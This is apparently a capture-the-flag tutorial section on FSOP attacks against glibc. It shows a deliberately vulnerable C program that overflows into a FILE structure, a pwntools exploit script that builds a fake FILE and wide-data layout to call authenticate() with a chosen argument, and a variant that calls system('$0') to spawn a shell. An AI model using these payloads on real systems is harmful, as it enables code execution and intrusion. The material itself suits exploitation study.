Hijacking with Arguments
In basic FSOP hijacking, we redirect execution to a function like win() that requires no arguments. However, we can often control the arguments passed to the hijacked function by leveraging the state of registers at the time of the call.
In the _IO_wfile_jumps bypass, when the program eventually calls our target function (via _IO_wdoallocbuf), the first argument (rdi) is still the pointer to the FILE structure (fp).
“ During the entire chain from fwrite down to _IO_wdoallocbuf, the rdi register (and often rsi) remains populated with the address of the FILE structure. This means the hijacked function will receive the corrupted FILE struct as its first argument. ”
Vulnerable Scenario
This challenge requires us to call authenticate(char *pw) with the correct password. Since rdi will point to the start of our corrupted FILE struct, we can simply place the password string at the very beginning of the structure (the _flags field).
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
FILE *fp;
char *buf;
void authenticate(char *pw) {
if (strcmp(pw, "password") == 0) {
puts("Well done baby");
return;
} else {
puts("You are not 1337 enough.");
exit(1);
}
}
int main(int argc, char **argv, char **envp) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("libc leak: %p\n", puts);
buf = malloc(0x100);
fp = fopen("/tmp/uiiaiiuuiiai.txt", "r");
printf("file pointer leak: %p\n", fp);
// Overflow into the FILE structure
read(0, fp, 0x1e0);
// This will call authenticate(fp)
fwrite(buf, 1, 0x100, fp);
return 0;
}Exploit Strategy: Stable Argument Passing
To ensure our payload remains intact during execution, we use the stable alignment technique. We place our target function pointer and its argument string in areas of the FILE struct that are not overwritten by Glibc.
- Password Placement: We place
"password\0"at offset0x00. Sincerdipoints to the start of theFILEstruct,authenticatewill read the password correctly. - Stable Alignment: We store the
_wide_vtablepointer at offset0x58(unused space). - The Dispatch: By setting
_wide_data = fp - 0x88, the_wide_vtablelookup at offset0xE0lands exactly on our pointer at0x58, which points back tofp. The call to_wide_vtable + 0x68then jumps to our target function stored atfp + 0x68.
Exploit Script
from pwn import *
elf = context.binary = ELF("./challenge")
p = process(elf.path)
libc = elf.libc
# 1. Parse leaks
p.recvuntil(b"libc leak: ")
libc.address = int(p.recvline().strip(), 16) - libc.sym.puts
info(f"Libc base: {hex(libc.address)}")
p.recvuntil(b"file pointer leak: ")
fp_addr = int(p.recvline().strip(), 16)
info(f"FILE pointer (fp): {hex(fp_addr)}")
# 2. Construct the stable self-overlapping payload
# Offset 0x00: password (rdi)
# Offset 0x58: wide_vtable ptr
# Offset 0x68: Target function (authenticate)
# Offset 0xA0: wide_data shifted to align 0xE0 with 0x58
payload = flat(
{
0x00: b"password\0", # Password string for rdi
0x58: fp_addr, # Acts as _wide_vtable pointer
0x68: elf.sym.authenticate, # _chain / doallocate target function
0x88: fp_addr - 0x10, # _lock (must be writable)
0xA0: fp_addr - 0x88, # _wide_data (shifted alignment)
0xD8: libc.sym._IO_wfile_jumps - 0x20, # vtable -> targets _IO_wfile_overflow
},
filler=b"\x00",
)
p.sendline(payload)
p.interactive()Tips: Spawn shell
With the restricted character set 0145adepqtuADEPQTU!$%@`, the most effective way to spawn a shell is using the variable $0.
In Unix-like shells (bash, sh, zsh, etc.), $0 expands to the name of the current shell or script (e.g., bash, sh, /bin/bash). Executing it spawns a new instance of that shell.
...
payload = flat(
{
0x00: b"$0", # Password string for rdi
0x58: fp_addr, # Acts as _wide_vtable pointer
0x68: libc.sym.system, # _chain / doallocate target function
0x88: fp_addr - 0x10, # _lock (must be writable)
0xA0: fp_addr - 0x88, # _wide_data (shifted alignment)
0xD8: libc.sym._IO_wfile_jumps - 0x20, # vtable -> targets _IO_wfile_overflow
},
filler=b"\x00",
)
...